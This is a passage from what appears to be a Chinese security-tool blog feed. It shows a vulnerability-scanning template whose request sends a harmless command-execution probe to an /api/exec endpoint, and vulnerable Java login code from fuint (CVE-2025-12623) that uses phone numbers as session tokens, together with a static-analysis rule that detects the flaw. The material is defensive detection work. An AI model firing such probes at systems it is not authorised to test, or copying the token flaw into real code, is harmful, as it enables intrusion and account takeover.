raw:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - |-</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    @timeout: 30s</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    POST /api/exec HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Host: {{Hostname}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    {"cmd": "echo -n \"root\" | md5"}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  max-redirects: 3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  disable-cookie: true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  matchers:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - type: word</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    part: body</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    words:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    - 63a9f0ea7bb98050796b649e85481845</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    condition: and</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="步骤三使用模拟响应调试">步骤三：使用模拟响应调试<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E6%AD%A5%E9%AA%A4%E4%B8%89%E4%BD%BF%E7%94%A8%E6%A8%A1%E6%8B%9F%E5%93%8D%E5%BA%94%E8%B0%83%E8%AF%95" class="hash-link" aria-label="步骤三：使用模拟响应调试的直接链接" title="步骤三：使用模拟响应调试的直接链接" translate="no">​</a></h3>
<p>在模板调试界面，传入模拟响应：</p>
<p><button type="button" class="yakdoc-figure" data-layout="narrow" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a199ca3b615dfac5-6fb28612ac681fdaa221554d10cb21e3.png" width="475" height="605" class="yakdoc-image"></button></p>
<p>执行后，可以看到匹配成功，生成漏洞报告，匹配的响应是我们刚才设置的模拟响应。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ad092ff0db545f00-8b575dce3dde2c610a05d690b2fe55b2.png" width="1080" height="419" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="底层实现">底层实现<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E5%BA%95%E5%B1%82%E5%AE%9E%E7%8E%B0" class="hash-link" aria-label="底层实现的直接链接" title="底层实现的直接链接" translate="no">​</a></h2>
<p>在模板执行层，Mock 响应通过 <code>nuclei.mockHTTPRequest</code> 选项注入，在编写YAK 代码调用 yaml 模板时同样可以实现模拟响应。</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// nuclei_executor.yak</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">nucleiPoC </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">MITM_PARAMS</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"CURRENT_NUCLEI_PLUGIN"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mock_response </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">MITM_PARAMS</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"NUCLEI_MOCK_RESPONSE"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">execNuclei </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">target</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    opts </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        nuclei</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">exactTemplateIns</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">nucleiPoC</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        nuclei</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">timeout</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 如果有 mock 响应，注入 mockHTTPRequest 选项</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> mock_response </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> nil </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        opts</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">Append</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">nuclei</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">mockHTTPRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">https</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> url</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> mockResponse</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token function" style="color:#d73a49">mockResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">mock_response</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    res</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> nuclei</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">Scan</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> opts</span><span class="token spread operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这确保了整个模板执行过程中，所有 HTTP 请求都会被模拟响应替代——<strong>不会发出任何真实的网络请求</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实战案例cve-漏洞检测模板的开发流程">实战案例：CVE 漏洞检测模板的开发流程<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8Bcve-%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B%E6%A8%A1%E6%9D%BF%E7%9A%84%E5%BC%80%E5%8F%91%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="实战案例：CVE 漏洞检测模板的开发流程的直接链接" title="实战案例：CVE 漏洞检测模板的开发流程的直接链接" translate="no">​</a></h2>
<p>让我们通过一个完整的案例，来测试模拟响应的用法。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="场景开发-cve-2024-xxxx-的检测模板">场景：开发 CVE-2024-XXXX 的检测模板<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E5%9C%BA%E6%99%AF%E5%BC%80%E5%8F%91-cve-2024-xxxx-%E7%9A%84%E6%A3%80%E6%B5%8B%E6%A8%A1%E6%9D%BF" class="hash-link" aria-label="场景：开发 CVE-2024-XXXX 的检测模板的直接链接" title="场景：开发 CVE-2024-XXXX 的检测模板的直接链接" translate="no">​</a></h2>
<p>假设这是一个需要特定响应头才能触发的漏洞，但我们手头没有漏洞环境。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="phase-1构造模拟响应">Phase 1：构造模拟响应<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#phase-1%E6%9E%84%E9%80%A0%E6%A8%A1%E6%8B%9F%E5%93%8D%E5%BA%94" class="hash-link" aria-label="Phase 1：构造模拟响应的直接链接" title="Phase 1：构造模拟响应的直接链接" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Server: VulnerableApp/1.2.3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Debug-Mode: enabled</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Internal-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"status":"ok","debug":true,"internal_paths":["/admin","/config","/backup"]}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="phase-2编写检测规则">Phase 2：编写检测规则<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#phase-2%E7%BC%96%E5%86%99%E6%A3%80%E6%B5%8B%E8%A7%84%E5%88%99" class="hash-link" aria-label="Phase 2：编写检测规则的直接链接" title="Phase 2：编写检测规则的直接链接" translate="no">​</a></h3>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/92a506facc106d3c-0ebe9645e8f2f2e452d5ad12b67c294c.png" width="756" height="311" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7ad8711da6b592e9-1e666436148a424e2efb5eccf4f3fb09.png" width="753" height="323" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fa58a5694b03ade4-66558161dc3d982633cc89a7be4ec9f7.png" width="745" height="383" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="phase-3生成模板并模拟响应调试">Phase 3：生成模板并模拟响应调试<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#phase-3%E7%94%9F%E6%88%90%E6%A8%A1%E6%9D%BF%E5%B9%B6%E6%A8%A1%E6%8B%9F%E5%93%8D%E5%BA%94%E8%B0%83%E8%AF%95" class="hash-link" aria-label="Phase 3：生成模板并模拟响应调试的直接链接" title="Phase 3：生成模板并模拟响应调试的直接链接" translate="no">​</a></h3>
<p>生成模板：</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">id: WebFuzzer-Template-FXTvoTiO</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">info:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  name: WebFuzzer Template FXTvoTiO</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  severity: low</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  description: write your description here</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  reference:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - https://github.com/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - https://cve.mitre.org/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  metadata:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    max-request: 1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    shodan-query: ""</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    verified: true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  yakit-info:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sign: 857b6edd340cf92b023bc0d47ca16403</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">http:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- raw:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - |+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    @timeout: 30s</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    POST /debug HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Host: {{Hostname}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  max-redirects: 3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  disable-cookie: true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  matchers-condition: and</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  matchers:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - type: word</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    part: header</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    words:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    - 'X-Debug-Mode: enabled'</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    condition: and</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - type: regex</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    part: header</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    regex:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    - X-Internal-Token:\s*ey[A-Za-z0-9_-]+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    condition: and</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - type: word</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    part: body</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    words:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    - internal_paths</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    condition: and</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"># Generated From WebFuzzer on 2025-12-26 11:43:09</span><br></span></code></pre></div></div>
<p>设置模拟响应并执行，成功匹配关键信息，生成漏洞报告。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7f49fb7a2c747956-934c1820a68bc6cd35f5d4345f6e37ae.png" width="1080" height="431" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>Mock 响应功能的引入，标志着安全检测规则开发进入了一个新阶段。我们不再受制于真实环境的可用性，而是可以在完全可控的条件下进行高效的规则开发、测试和演示。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/Syq3SQMk3P7pKK_UxGdawg" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2025 年</category>
            <category>WebFuzzer</category>
            <category>热加载</category>
        </item>
        <item>
            <title><![CDATA[代码审计：使用 SyntaxFlow 规则检测逻辑漏洞]]></title>
            <link>https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow</link>
            <guid>https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow</guid>
            <pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[逻辑漏洞往往隐藏在业务代码深处，传统扫描工具难以覆盖。本文以 fuint 和 forest 两个开源项目中被分配了 CVE 编号的真实漏洞为例，分享如何通过 IRify 的 SyntaxFlow 语法编写规则，快速定位 Token 伪造与未授权访问等高危逻辑漏洞。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>逻辑漏洞往往隐藏在业务代码深处，传统扫描工具难以覆盖。本文以 fuint 和 forest 两个开源项目中被分配了 CVE 编号的真实漏洞为例，分享如何通过 IRify 的 SyntaxFlow 语法编写规则，快速定位 Token 伪造与未授权访问等高危逻辑漏洞。</p>
<p>在代码审计和安全研究中，逻辑漏洞（Logic Vulnerabilities）一直是最难攻坚的堡垒。不同于 SQL 注入或 XSS 这种有明显特征的漏洞，逻辑漏洞通常依赖于具体的业务上下文，例如权限校验缺失、关键数据被篡改等。</p>
<p>最近，我们在对开源项目的审计中，利用静态代码分析工具 IRify 及其查询语言 SyntaxFlow，成功发现了几个严重的安全隐患，并被分配了 CVE 编号。今天就通过这三个 CVE 案例，来聊聊如何用“代码”来找“代码中的漏洞”。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cve-2025-12623----当手机号变成了-token">CVE-2025-12623 -- 当手机号变成了 Token<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#cve-2025-12623----%E5%BD%93%E6%89%8B%E6%9C%BA%E5%8F%B7%E5%8F%98%E6%88%90%E4%BA%86-token" class="hash-link" aria-label="CVE-2025-12623 -- 当手机号变成了 Token的直接链接" title="CVE-2025-12623 -- 当手机号变成了 Token的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="项目信息">项目信息<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E9%A1%B9%E7%9B%AE%E4%BF%A1%E6%81%AF" class="hash-link" aria-label="项目信息的直接链接" title="项目信息的直接链接" translate="no">​</a></h2>
<p>**漏洞项目：**fuint (门店会员营销系统)</p>
<p><strong>漏洞编号：</strong> CVE-2025-12623</p>
<p><strong>漏洞简介</strong>：在 <code>ClientS``ignController.java</code> 的登录逻辑中，我们要寻找的是典型的“逻辑覆盖”错误。原本系统设计了安全的随机 Token 生成机制，但在保存数据的前一刻，开发者犯了一个致命错误。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="漏洞现场">漏洞现场<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E6%BC%8F%E6%B4%9E%E7%8E%B0%E5%9C%BA" class="hash-link" aria-label="漏洞现场的直接链接" title="漏洞现场的直接链接" translate="no">​</a></h2>
<div class="language-java codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-java codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">// ClientSignController.java - Line 324-349</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">// 方式2：通过账号密码登录</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">if (StringUtil.isNotEmpty(account) &amp;&amp; StringUtil.isNotEmpty(password) &amp;&amp; StringUtil.isNotEmpty(captchaCode)) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Boolean captchaVerify = captchaService.checkCodeByUuid(captchaCode, uuid);</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if (!captchaVerify) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return getFailureResult(201,"图形验证码有误");</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    MtUser userInfo = memberService.queryMemberByName(merchantId, account);</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if (userInfo != null) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        String myPassword = userInfo.getPassword();</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        String inputPassword = memberService.deCodePassword(password, userInfo.getSalt());</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if (myPassword.equals(inputPassword)) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            UserInfo loginInfo = new UserInfo();</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            // Step 1: Generate secure token (e.g., "e5d8f6a3b2c4d1a7f9e8...")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            loginInfo.setToken(TokenUtil.generateToken(userAgent, userInfo.getId()));</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            loginInfo.setId(userInfo.getId());</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">           // Step 2: ❌ CRITICAL BUG - Overwrite secure token with mobile number</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            loginInfo.setToken(userInfo.getMobile());</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            TokenUtil.saveToken(loginInfo);  // Save phone number as token in Redis</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            dto.setToken(loginInfo.getToken());  // Return phone number to client</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            mtUser = userInfo;</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        } else {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            return getFailureResult(201, "账号或密码有误");</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>这意味着，攻击者只要知道用户的手机号，就可以直接将其作为 Token 进行 API 调用，完全接管该用户的账户。</p>
<p>如下图：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b3c41bf6f4c55497-27436e4b40209640bf1a5e1825155d52.png" width="1080" height="411" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="irify-挖掘思路">IRify 挖掘思路<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#irify-%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF" class="hash-link" aria-label="IRify 挖掘思路的直接链接" title="IRify 挖掘思路的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这个漏洞的特征在于settoken方法被调用时传入的参数竟然不是一个生成的-token通常包含-token-字样的方法调用而是一个普通的手机号字段"><strong>这个漏洞的特征在于</strong><code>setT``oken</code>方法被调用时，传入的参数竟然不是一个生成的 Token（通常包含 "token" 字样的方法调用），而是一个普通的手机号字段。<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E8%BF%99%E4%B8%AA%E6%BC%8F%E6%B4%9E%E7%9A%84%E7%89%B9%E5%BE%81%E5%9C%A8%E4%BA%8Esettoken%E6%96%B9%E6%B3%95%E8%A2%AB%E8%B0%83%E7%94%A8%E6%97%B6%E4%BC%A0%E5%85%A5%E7%9A%84%E5%8F%82%E6%95%B0%E7%AB%9F%E7%84%B6%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E7%94%9F%E6%88%90%E7%9A%84-token%E9%80%9A%E5%B8%B8%E5%8C%85%E5%90%AB-token-%E5%AD%97%E6%A0%B7%E7%9A%84%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8%E8%80%8C%E6%98%AF%E4%B8%80%E4%B8%AA%E6%99%AE%E9%80%9A%E7%9A%84%E6%89%8B%E6%9C%BA%E5%8F%B7%E5%AD%97%E6%AE%B5" class="hash-link" aria-label="这个漏洞的特征在于settoken方法被调用时传入的参数竟然不是一个生成的-token通常包含-token-字样的方法调用而是一个普通的手机号字段的直接链接" title="这个漏洞的特征在于settoken方法被调用时传入的参数竟然不是一个生成的-token通常包含-token-字样的方法调用而是一个普通的手机号字段的直接链接" translate="no">​</a></h3>
<p>我们利用 IRify 编写了如下规则来捕获这种异常行为：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token operator" style="color:#393A34">./</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">?</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">saveToken</span><span class="token operator" style="color:#393A34">|</span><span class="token plain">setToken</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">/?</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">,</span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">?</span><span class="token punctuation" style="color:#393A34">{</span><span class="token operator" style="color:#393A34">!</span><span class="token plain">have</span><span class="token punctuation" style="color:#393A34">:</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">?</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">token</span><span class="token operator" style="color:#393A34">/</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> $toCheck</span><br></span></code></pre></div></div>
<p><strong>规则解析：</strong></p>
<ul>
<li class="">
<p><strong><code>./(?i)(saveToken|setToken)/</code></strong>: 使用正则搜索所有名为 <code>saveToken</code> 或 <code>setToken</code> 的方法调用。</p>
</li>
<li class="">
<p><strong><code>?{!have:/(?i)token/}</code></strong>: 这是一个过滤语法。它检查传入的参数，如果在参数的文本表示中<strong>不包含</strong> "token" 字符串（忽略大小写），则命中规则。</p>
</li>
</ul>
<p>在上述代码中，<code>userInfo.getM``obile()</code> 作为参数，里面完全没有 "token" 这个词，因此被精准识别出来：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/74f484a618bf3bf2-b07d22bb61f2a2c692b8daac1c9ad2eb.png" width="1080" height="544" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cve-2025-12924--12925----消失的权限校验门神">CVE-2025-12924 &amp; 12925 -- 消失的权限校验门神<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#cve-2025-12924--12925----%E6%B6%88%E5%A4%B1%E7%9A%84%E6%9D%83%E9%99%90%E6%A0%A1%E9%AA%8C%E9%97%A8%E7%A5%9E" class="hash-link" aria-label="CVE-2025-12924 &amp; 12925 -- 消失的权限校验门神的直接链接" title="CVE-2025-12924 &amp; 12925 -- 消失的权限校验门神的直接链接" translate="no">​</a></h2>
